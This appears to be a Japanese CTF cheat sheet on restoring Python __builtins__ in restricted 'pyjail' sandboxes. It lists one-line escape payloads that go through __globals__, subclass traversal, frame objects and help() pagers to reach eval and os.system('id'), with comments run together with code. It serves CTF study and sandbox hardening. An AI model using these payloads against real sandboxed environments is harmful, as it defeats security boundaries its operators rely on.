Builtins Recovery
Overview
多くのpyjailは __builtins__ を削除または制限する。ここでは様々な方法でbuiltinsを復元する手法を解説する。
__globals__ からの復元
関数オブジェクトは __globals__ 属性を持ち、そこから __builtins__ にアクセスできる。
# 任意の関数から(lambda: 0).__globals__['__builtins__']
# 定義済み関数からprint.__globals__['__builtins__']クラスメソッド経由
# __init__ メソッドから[].__class__.__init__.__globals__['__builtins__']
# 任意のクラスの任意のメソッドからstr.join.__globals__ # 失敗: built-in methodstr.__dict__['__add__'].__globals__ # 失敗: wrapper_descriptorsys.modules からの復元
sys.modules は読み込まれた全モジュールの辞書。
# sys モジュールにアクセスできればimport syssys.modules['builtins']
# __import__ が使えれば__import__('sys').modules['builtins']サブクラス経由での復元
# _wrap_close から os モジュール取得[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']
# warnings.catch_warnings から[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins____spec__ からの復元
モジュールオブジェクトの __spec__.loader から。
# __loader__ 属性から__loader__.__class__.__bases__[0].__subclasses__()[0]frame オブジェクト経由
# generator の gi_frame から(x for x in []).gi_frame.f_builtins
# sys._getframe() が使えればsys._getframe().f_builtins特殊なケース
help() から pdb 経由
# help() の pager を利用help()# (help内で) !import os; os.system('id')license() 経由
license()# ページャーから脱出builtins 辞書の直接参照
# builtins が dict として残っている場合__builtins__['eval']('__import__("os").system("id")')
# モジュールとして残っている場合__builtins__.__dict__['eval']('__import__("os").system("id")')よく使われる builtins
| 関数 | 用途 |
|---|---|
eval | コード実行 |
exec | コード実行 |
__import__ | モジュールインポート |
open | ファイル読み書き |
compile | コードオブジェクト作成 |
getattr | 属性アクセス |
setattr | 属性設定 |
Tips
__builtins__はモジュール内では辞書、対話モードではモジュールオブジェクトdir()でアクセス可能な属性を確認vars()で__dict__にアクセス